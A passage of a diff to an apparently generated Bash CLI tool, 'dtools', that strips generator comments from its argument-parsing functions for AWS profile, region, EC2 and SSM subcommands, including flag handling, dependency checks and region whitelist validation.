:command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -14303,11 +12740,9 @@ dtools_aws_shell_parse_requirements() { } -# :command.parse_requirements dtools_aws_profile_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -14324,10 +12759,8 @@ dtools_aws_profile_parse_requirements() { esac done - # :command.command_filter action="aws profile" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -14338,9 +12771,7 @@ dtools_aws_profile_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple - # :argument.case + if [[ -z ${args['profile']+x} ]]; then args['profile']=$1 shift @@ -14354,15 +12785,12 @@ dtools_aws_profile_parse_requirements() { esac done - # :command.required_args_filter if [[ -z ${args['profile']+x} ]]; then printf "missing required argument: PROFILE\nusage: dtools aws profile PROFILE\n" >&2 exit 1 fi - # :command.validations - # :argument.validations if [[ -v args['profile'] ]]; then validation_output="$(validate_aws_profile_exists "${args['profile']:-}")" if [[ -n "$validation_output" ]]; then @@ -14373,11 +12801,9 @@ dtools_aws_profile_parse_requirements() { } -# :command.parse_requirements dtools_aws_region_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -14394,10 +12820,8 @@ dtools_aws_region_parse_requirements() { esac done - # :command.command_filter action="aws region" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -14408,9 +12832,7 @@ dtools_aws_region_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple - # :argument.case + if [[ -z ${args['region']+x} ]]; then args['region']=$1 shift @@ -14424,14 +12846,12 @@ dtools_aws_region_parse_requirements() { esac done - # :command.required_args_filter if [[ -z ${args['region']+x} ]]; then printf "missing required argument: REGION\nusage: dtools aws region REGION\n" >&2 exit 1 fi - # :command.whitelist_filter if [[ -n ${args['region']:-} ]] && [[ ! ${args['region']:-} =~ ^(ap-south-2|ap-south-1|eu-south-1|eu-south-2|me-central-1|ca-central-1|eu-central-1|eu-central-2|us-west-1|us-west-2|af-south-1|eu-north-1|eu-west-3|eu-west-2|eu-west-1|ap-northeast-3|ap-northeast-2|me-south-1|ap-northeast-1|sa-east-1|ap-east-1|ap-southeast-1|ap-southeast-2|ap-southeast-3|ap-southeast-4|us-east-1|us-east-2)$ ]]; then printf "%s\n" "region must be one of: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" >&2 exit 1 @@ -14439,11 +12859,9 @@ dtools_aws_region_parse_requirements() { } -# :command.parse_requirements dtools_aws_toggle_auto_prompt_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -14460,10 +12878,8 @@ dtools_aws_toggle_auto_prompt_parse_requirements() { esac done - # :command.command_filter action="aws toggle-auto-prompt" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -14474,8 +12890,7 @@ dtools_aws_toggle_auto_prompt_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -14486,11 +12901,9 @@ dtools_aws_toggle_auto_prompt_parse_requirements() { } -# :command.parse_requirements dtools_aws_export_sso_creds_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -14507,17 +12920,14 @@ dtools_aws_export_sso_creds_parse_requirements() { esac done - # :command.command_filter action="aws export-sso-creds" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in - # :flag.case + --profile | -p) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--profile']="$2" shift @@ -14528,10 +12938,8 @@ dtools_aws_export_sso_creds_parse_requirements() { fi ;; - # :flag.case --region | -r) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--region']="$2" shift @@ -14548,8 +12956,7 @@ dtools_aws_export_sso_creds_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -14558,11 +12965,8 @@ dtools_aws_export_sso_creds_parse_requirements() { esac done - # :command.default_assignments [[ -n ${args['--region']:-} ]] || args['--region']="us-east-1" - # :command.validations - # :flag.validations if [[ -v args['--profile'] ]]; then validation_output="$(validate_aws_profile_exists "${args['--profile']:-}")" if [[ -n "${validation_output}" ]]; then @@ -14571,13 +12975,11 @@ dtools_aws_export_sso_creds_parse_requirements() { fi fi - # :command.whitelist_filter if [[ ${args['--region']:-} ]] && [[ ! ${args['--region']:-} =~ ^(ap-south-2|ap-south-1|eu-south-1|eu-south-2|me-central-1|ca-central-1|eu-central-1|eu-central-2|us-west-1|us-west-2|af-south-1|eu-north-1|eu-west-3|eu-west-2|eu-west-1|ap-northeast-3|ap-northeast-2|me-south-1|ap-northeast-1|sa-east-1|ap-east-1|ap-southeast-1|ap-southeast-2|ap-southeast-3|ap-southeast-4|us-east-1|us-east-2)$ ]]; then printf "%s\n" "--region must be one of: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" >&2 exit 1 fi - # :command.user_filter filter_error=$(filter_profile_and_region_variables_set_with_flags) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 @@ -14586,11 +12988,9 @@ dtools_aws_export_sso_creds_parse_requirements() { } -# :command.parse_requirements dtools_aws_generate_sso_profiles_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -14607,9 +13007,8 @@ dtools_aws_generate_sso_profiles_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v jq >/dev/null 2>&1; then printf "missing dependency: jq\n" >&2 printf "%s\n\n" "Install with 'brew install jq'" >&2 @@ -14622,25 +13021,20 @@ dtools_aws_generate_sso_profiles_parse_requirements() { exit 1 fi - # :command.command_filter action="aws generate-sso-profiles" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in - # :flag.case + --backup) - # :flag.case_no_arg args['--backup']=1 shift ;; - # :flag.case --default-cli-region | -d) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--default-cli-region']="$2" shift @@ -14651,10 +13045,8 @@ dtools_aws_generate_sso_profiles_parse_requirements() { fi ;; - # :flag.case --sso-region | -r) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--sso-region']="$2" shift @@ -14665,10 +13057,8 @@ dtools_aws_generate_sso_profiles_parse_requirements() { fi ;; - # :flag.case --sso-start-url | -u) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--sso-start-url']="$2" shift @@ -14685,8 +13075,7 @@ dtools_aws_generate_sso_profiles_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -14695,7 +13084,6 @@ dtools_aws_generate_sso_profiles_parse_requirements() { esac done - # :command.required_flags_filter if [[ -z ${args['--sso-region']+x} ]]; then printf "missing required flag: --sso-region, -r SSO-REGION\n" >&2 exit 1 @@ -14705,7 +13093,6 @@ dtools_aws_generate_sso_profiles_parse_requirements() { exit 1 fi - # :command.whitelist_filter if [[ ${args['--default-cli-region']:-} ]] && [[ ! ${args['--default-cli-region']:-} =~ ^(ap-south-2|ap-south-1|eu-south-1|eu-south-2|me-central-1|ca-central-1|eu-central-1|eu-central-2|us-west-1|us-west-2|af-south-1|eu-north-1|eu-west-3|eu-west-2|eu-west-1|ap-northeast-3|ap-northeast-2|me-south-1|ap-northeast-1|sa-east-1|ap-east-1|ap-southeast-1|ap-southeast-2|ap-southeast-3|ap-southeast-4|us-east-1|us-east-2)$ ]]; then printf "%s\n" "--default-cli-region must be one of: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" >&2 exit 1 @@ -14717,11 +13104,9 @@ dtools_aws_generate_sso_profiles_parse_requirements() { } -# :command.parse_requirements dtools_aws_ec2_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -14738,9 +13123,8 @@ dtools_aws_ec2_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v aws >/dev/null 2>&1; then printf "missing dependency: aws\n" >&2 printf "%s\n\n" "Install the latest version following the instructions at 'https://docs.aws.amazon.com/cli/latest/userguide/getting-started-install.html'" >&2 @@ -14749,7 +13133,6 @@ dtools_aws_ec2_parse_requirements() { deps['aws']="$(command -v aws | head -n1)" fi - # :dependency.filter if ! command -v jq >/dev/null 2>&1; then printf "missing dependency: jq\n" >&2 printf "%s\n\n" "Install using 'brew install jq'" >&2 @@ -14762,7 +13145,6 @@ dtools_aws_ec2_parse_requirements() { exit 1 fi - # :command.command_filter action=${1:-} case $action in @@ -14775,7 +13157,6 @@ dtools_aws_ec2_parse_requirements() { shift $# ;; - # :command.command_fallback "") dtools_aws_ec2_usage >&2 exit 1 @@ -14788,7 +13169,6 @@ dtools_aws_ec2_parse_requirements() { esac - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -14799,8 +13179,7 @@ dtools_aws_ec2_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -14811,11 +13190,9 @@ dtools_aws_ec2_parse_requirements() { } -# :command.parse_requirements dtools_aws_ec2_list_instances_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -14832,17 +13209,14 @@ dtools_aws_ec2_list_instances_parse_requirements() { esac done - # :command.command_filter action="aws ec2 list-instances" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in - # :flag.case + --profile | -p) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--profile']="$2" shift @@ -14853,10 +13227,8 @@ dtools_aws_ec2_list_instances_parse_requirements() { fi ;; - # :flag.case --region | -r) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--region']="$2" shift @@ -14867,28 +13239,24 @@ dtools_aws_ec2_list_instances_parse_requirements() { fi ;; - # :flag.case --detailed) - # :flag.conflicts + if [[ -n "${args['--filter']:-}" ]]; then printf "conflicting options: %s cannot be used with %s\n" "$key" "--filter" >&2 exit 1 fi - # :flag.case_no_arg args['--detailed']=1 shift ;; - # :flag.case --filter | -f) - # :flag.conflicts + if [[ -n "${args['--detailed']:-}" ]]; then printf "conflicting options: %s cannot be used with %s\n" "$key" "--detailed" >&2 exit 1 fi - # :flag.case_arg if [[ -n ${2+x} ]]; then escaped="$(printf '%q' "$2")" if [[ -z ${args['--filter']+x} ]]; then @@ -14911,8 +13279,7 @@ dtools_aws_ec2_list_instances_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -14921,11 +13288,8 @@ dtools_aws_ec2_list_instances_parse_requirements() { esac done - # :command.default_assignments [[ -n ${args['--region']:-} ]] || args['--region']="us-east-1" - # :command.validations - # :flag.validations if [[ -v args['--profile'] ]]; then validation_output="$(validate_aws_profile_exists "${args['--profile']:-}")" if [[ -n "${validation_output}" ]]; then @@ -14934,7 +13298,6 @@ dtools_aws_ec2_list_instances_parse_requirements() { fi fi - # :command.whitelist_filter if [[ ${args['--region']:-} ]] && [[ ! ${args['--region']:-} =~ ^(ap-south-2|ap-south-1|eu-south-1|eu-south-2|me-central-1|ca-central-1|eu-central-1|eu-central-2|us-west-1|us-west-2|af-south-1|eu-north-1|eu-west-3|eu-west-2|eu-west-1|ap-northeast-3|ap-northeast-2|me-south-1|ap-northeast-1|sa-east-1|ap-east-1|ap-southeast-1|ap-southeast-2|ap-southeast-3|ap-southeast-4|us-east-1|us-east-2)$ ]]; then printf "%s\n" "--region must be one of: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" >&2 exit 1 @@ -14948,7 +13311,6 @@ dtools_aws_ec2_list_instances_parse_requirements() { fi done - # :command.user_filter filter_error=$(filter_profile_and_region_variables_set_with_flags) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 @@ -14957,11 +13319,9 @@ dtools_aws_ec2_list_instances_parse_requirements() { } -# :command.parse_requirements dtools_aws_ssm_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -14978,9 +13338,8 @@ dtools_aws_ssm_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v aws >/dev/null 2>&1; then printf "missing dependency: aws\n" >&2 printf "%s\n\n" "Install the latest version following the instructions at 'https://docs.aws.amazon.com/cli/latest/userguide/getting-started-install.html'" >&2 @@ -14989,7 +13348,6 @@ dtools_aws_ssm_parse_requirements() { deps['aws']="$(command -v aws | head -n1)" fi - # :dependency.filter if ! command -v jq >/dev/null 2>&1; then printf "missing dependency: jq\n" >&2 printf "%s\n\n" "Install using 'brew install jq'" >&2 @@ -15002,7 +13360,6 @@ dtools_aws_ssm_parse_requirements() { exit 1 fi - # :command.command_filter action=${1:-} case $action in @@ -15057,7 +13414,6 @@ dtools_aws_ssm_parse_requirements() { shift $# ;; - # :command.command_fallback "") dtools_aws_ssm_usage >&2 exit 1 @@ -15070,7 +13426,6 @@ dtools_aws_ssm_parse_requirements() { esac - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -15081,8 +13436,7 @@ dtools_aws_ssm_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -15093,11 +13447,9 @@ dtools_aws_ssm_parse_requirements() { } -# :command.parse_requirements dtools_aws_ssm_start_port_forwarding_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -15114,17 +13466,14 @@ dtools_aws_ssm_start_port_forwarding_parse_requirements() { esac done - # :command.command_filter action="aws ssm start-port-forwarding" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in - # :flag.case + --profile | -p) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--profile']="$2" shift @@ -15135,10 +13484,8 @@ dtools_aws_ssm_start_port_forwarding_parse_requirements() { fi ;; - # :flag.case --region | -r) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--region']="$2" shift @@ -15149,10 +13496,8 @@ dtools_aws_ssm_start_port_forwarding_parse_requirements() { fi ;; - # :flag.case --remote-port) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--remote-port']="$2" shift @@ -15163,10 +13508,8 @@ dtools_aws_ssm_start_port_forwarding_parse_requirements() { fi ;; - # :flag.case --local-port) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--local-port']="$2" shift @@ -15177,10 +13520,8 @@ dtools_aws_ssm_start_port_forwarding_parse_requirements() { fi ;; - # :flag.case --host) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--host']="$2" shift @@ -15197,9 +13538,7 @@ dtools_aws_ssm_start_port_forwarding_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple - # :argument.case + if [[ -z ${args['instance-id']+x} ]]; then args['instance-id']=$1 shift @@ -15213,21 +13552,17 @@ dtools_aws_ssm_start_port_forwarding_parse_requirements() { esac done - # :command.required_args_filter if [[ -z ${args['instance-id']+x} ]]; then printf "missing required argument: INSTANCE-ID\nusage: dtools aws ssm start-port-forwarding INSTANCE-ID [OPTIONS]\n" >&2 exit 1 fi - # :command.default_assignments [[ -n ${args['--region']:-} ]] || args['--region']="us-east-1" [[ -n ${args['--remote-port']:-} ]] || args['--remote-port']="80" [[ -n ${args['--local-port']:-} ]] || args['--local-port']="0" [[ -n ${args['--host']:-} ]] || args['--host']="localhost" - # :command.validations - # :flag.validations if [[ -v args['--profile'] ]]; then validation_output="$(validate_aws_profile_exists "${args['--profile']:-}")" if [[ -n "${validation_output}" ]]; then @@ -15236,7 +13571,6 @@ dtools_aws_ssm_start_port_forwarding_parse_requirements() { fi fi - # :flag.validations if [[ -v args['--remote-port'] ]]; then validation_output="$(validate_aws_ssm_port_forwarding_number "${args['--remote-port']:-}")" if [[ -n "${validation_output}" ]]; then @@ -15245,7 +13579,6 @@ dtools_aws_ssm_start_port_forwarding_parse_requirements() { fi fi - # :flag.validations if [[ -v args['--local-port'] ]]; then validation_output="$(validate_aws_ssm_port_forwarding_number "${args['--local-port']:-}")" if [[ -n "${validation_output}" ]]; then @@ -15254,7 +13587,6 @@ dtools_aws_ssm_start_port_forwarding_parse_requirements() { fi fi - # :flag.validations if [[ -v args['--host'] ]]; then validation_output="$(validate_aws_ssm_port_forwarding_host "${args['--host']:-}")" if [[ -n "${validation_output}" ]]; then @@ -15263,13 +13595,11 @@ dtools_aws_ssm_start_port_forwarding_parse_requirements() { fi fi - # :command.whitelist_filter if [[ ${args['--region']:-} ]] && [[ ! ${args['--region']:-} =~ ^(ap-south-2|ap-south-1|eu-south-1|eu-south-2|me-central-1|ca-central-1|eu-central-1|eu-central-2|us-west-1|us-west-2|af-south-1|eu-north-1|eu-west-3|eu-west-2|eu-west-1|ap-northeast-3|ap-northeast-2|me-south-1|ap-northeast-1|sa-east-1|ap-east-1|ap-southeast-1|ap-southeast-2|ap-southeast-3|ap-southeast-4|us-east-1|us-east-2)$ ]]; then printf "%s\n" "--region must be one of: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" >&2 exit 1 fi - # :command.user_filter filter_error=$(filter_profile_and_region_variables_set_with_flags) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 @@ -15278,11 +13608,9 @@ dtools_aws_ssm_start_port_forwarding_parse_requirements() { } -# :command.parse_requirements dtools_aws_ssm_start_ngrok_bastion_instance_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -15299,9 +13627,8 @@ dtools_aws_ssm_start_ngrok_bastion_instance_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v jq >/dev/null 2>&1; then printf "missing dependency: jq\n" >&2 printf "%s\n\n" "Install with 'brew install jq'" >&2 @@ -15314,17 +13641,14 @@ dtools_aws_ssm_start_ngrok_bastion_instance_parse_requirements() { exit 1 fi - # :command.command_filter action="aws ssm start-ngrok-bastion-instance" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in - # :flag.case + --profile | -p) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--profile']="$2" shift @@ -15335,10 +13659,8 @@ dtools_aws_ssm_start_ngrok_bastion_instance_parse_requirements() { fi ;; - # :flag.case --region | -r) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--region']="$2" shift @@ -15349,26 +13671,20 @@ dtools_aws_ssm_start_ngrok_bastion_instance_parse_requirements() { fi ;; - # :flag.case --hostname) - # :flag.case_no_arg args['--hostname']=1 shift ;; - # :flag.case --subnet-id) - # :flag.case_no_arg args['--subnet-id']=1 shift ;; - # :flag.case --port) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--port']="$2" shift @@ -15379,10 +13695,8 @@ dtools_aws_ssm_start_ngrok_bastion_instance_parse_requirements() { fi ;; - # :flag.case --ngrok-url | -u) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--ngrok-url']="$2" shift @@ -15393,10 +13707,8 @@ dtools_aws_ssm_start_ngrok_bastion_instance_parse_requirements() { fi ;; - # :flag.case --ngrok-auth-token | -a) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--ngrok-auth-token']="$2" shift @@ -15413,8 +13725,7 @@ dtools_aws_ssm_start_ngrok_bastion_instance_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -15423,7 +13734,6 @@ dtools_aws_ssm_start_ngrok_bastion_instance_parse_requirements() { esac done - # :command.required_flags_filter if [[ -z ${args['--hostname']+x} ]]; then printf "missing required flag: --hostname\n" >&2 exit 1 @@ -15441,12 +13751,9 @@ dtools_aws_ssm_start_ngrok_bastion_instance_parse_requirements() { exit 1 fi - # :command.default_assignments [[ -n ${args['--region']:-} ]] || args['--region']="us-east-1" [[ -n ${args['--port']:-} ]] || args['--port']="8080" - # :command.validations - # :flag.validations if [[ -v args['--profile'] ]]; then validation_output="$(validate_aws_profile_exists "${args['--profile']:-}")" if [[ -n "${validation_output}" ]]; then @@ -15455,13 +13762,11 @@ dtools_aws_ssm_start_ngrok_bastion_instance_parse_requirements() { fi fi - # :command.whitelist_filter if [[ ${args['--region']:-} ]] && [[ ! ${args['--region']:-} =~ ^(ap-south-2|ap-south-1|eu-south-1|eu-south-2|me-central-1|ca-central-1|eu-central-1|eu-central-2|us-west-1|us-west-2|af-south-1|eu-north-1|eu-west-3|eu-west-2|eu-west-1|ap-northeast-3|ap-northeast-2|me-south-1|ap-northeast-1|sa-east-1|ap-east-1|ap-southeast-1|ap-southeast-2|ap-southeast-3|ap-southeast-4|us-east-1|us-east-2)$ ]]; then printf "%s\n" "--region must be one of: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" >&2 exit 1 fi - # :command.user_filter filter_error=$(filter_profile_and_region_variables_set_with_flags) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 @@ -15470,11 +13775,9 @@ dtools_aws_ssm_start_ngrok_bastion_instance_parse_requirements() { } -# :command.parse_requirements dtools_aws_ssm_list_parameters_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -15491,17 +13794,14 @@ dtools_aws_ssm_list_parameters_parse_requirements() { esac done - # :command.command_filter action="aws ssm list-parameters" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in - # :flag.case + --profile | -p) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--profile']="$2" shift @@ -15512,10 +13812,8 @@ dtools_aws_ssm_list_parameters_parse_requirements() { fi ;; - # :flag.case --region | -r) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--region']="$2" shift @@ -15526,10 +13824,8 @@ dtools_aws_ssm_list_parameters_parse_requirements() { fi ;; - # :flag.case --detailed) - # :flag.case_no_arg args['--detailed']=1 shift ;; @@ -15540,8 +13836,7 @@ dtools_aws_ssm_list_parameters_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -15550,11 +13845,8 @@ dtools_aws_ssm_list_parameters_parse_requirements() { esac done - # :command.default_assignments [[ -n ${args['--region']:-} ]] || args['--region']="us-east-1" - # :command.validations - # :flag.validations if [[ -v args['--profile'] ]]; then validation_output="$(validate_aws_profile_exists "${args['--profile']:-}")" if [[ -n "${validation_output}" ]]; then @@ -15563,13 +13855,11 @@ dtools_aws_ssm_list_parameters_parse_requirements() { fi fi - # :command.whitelist_filter if [[ ${args['--region']:-} ]] && [[ ! ${args['--region']:-} =~ ^(ap-south-2|ap-south-1|eu-south-1|eu-south-2|me-central-1|ca-central-1|eu-central-1|eu-central-2|us-west-1|us-west-2|af-south-1|eu-north-1|eu-west-3|eu-west-2|eu-west-1|ap-northeast-3|ap-northeast-2|me-south-1|ap-northeast-1|sa-east-1|ap-east-1|ap-southeast-1|ap-southeast-2|ap-southeast-3|ap-southeast-4|us-east-1|us-east-2)$ ]]; then printf "%s\n" "--region must be one of: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" >&2 exit 1 fi - # :command.user_filter filter_error=$(filter_profile_and_region_variables_set_with_flags) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 @@ -15578,11 +13868,9 @@ dtools_aws_ssm_list_parameters_parse_requirements() { } -# :command.parse_requirements dtools_aws_ssm_get_parameter_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -15599,17 +13887,14 @@ dtools_aws_ssm_get_parameter_parse_requirements() { esac done - # :command.command_filter action="aws ssm get-parameter" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in - # :flag.case + --profile | -p) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--profile']="$2" shift @@ -15620,10 +13905,8 @@ dtools_aws_ssm_get_parameter_parse_requirements() { fi ;; - # :flag.case --region | -r) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--region']="$2" shift @@ -15634,10 +13917,8 @@ dtools_aws_ssm_get_parameter_parse_requirements() { fi ;; - # :flag.case --detailed) - # :flag.case_no_arg args['--detailed']=1 shift ;; @@ -15648,9 +13929,7 @@ dtools_aws_ssm_get_parameter_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple - # :argument.case + if [[ -z ${args['parameter_name']+x} ]]; then args['parameter_name']=$1 shift @@ -15664,18 +13943,14 @@ dtools_aws_ssm_get_parameter_parse_requirements() { esac done - # :command.required_args_filter if [[ -z ${args['parameter_name']+x} ]]; then printf "missing required argument: PARAMETER_NAME\nusage: dtools aws ssm get-parameter PARAMETER_NAME [OPTIONS]\n" >&2 exit 1 fi - # :command.default_assignments [[ -n ${args['--region']:-} ]] || args['--region']="us-east-1" - # :command.validations - # :flag.validations if [[ -v args['--profile'] ]]; then validation_output="$(validate_aws_profile_exists "${args['--profile']:-}")" if [[ -n "${validation_output}" ]]; then @@ -15684,13 +13959,11 @@ dtools_aws_ssm_get_parameter_parse_requirements() { fi fi - # :command.whitelist_filter if [[ ${args['--region']:-} ]] && [[ ! ${args['--region']:-} =~ ^(ap-south-2|ap-south-1|eu-south-1|eu-south-2|me-central-1|ca-central-1|eu-central-1|eu-central-2|us-west-1|us-west-2|af-south-1|eu-north-1|eu-west-3|eu-west-2|eu-west-1|ap-northeast-3|ap-northeast-2|me-south-1|ap-northeast-1|sa-east-1|ap-east-1|ap-southeast-1|ap-southeast-2|ap-southeast-3|ap-southeast-4|us-east-1|us-east-2)$ ]]; then printf "%s\n" "--region must be one of: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" >&2 exit 1 fi - # :command.user_filter filter_error=$(filter_profile_and_region_variables_set_with_flags) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 @@ -15699,11 +13972,9 @@ dtools_aws_ssm_get_parameter_parse_requirements() { } -# :command.parse_requirements dtools_aws_ssm_create_parameter_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -15720,17 +13991,14 @@ dtools_aws_ssm_create_parameter_parse_requirements() { esac done - # :command.command_filter action="aws ssm create-parameter" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in - # :flag.case + --profile | -p) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--profile']="$2" shift @@ -15741,10 +14009,8 @@ dtools_aws_ssm_create_parameter_parse_requirements() { fi ;; - # :flag.case --region | -r) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--region']="$2" shift @@ -15755,10 +14021,8 @@ 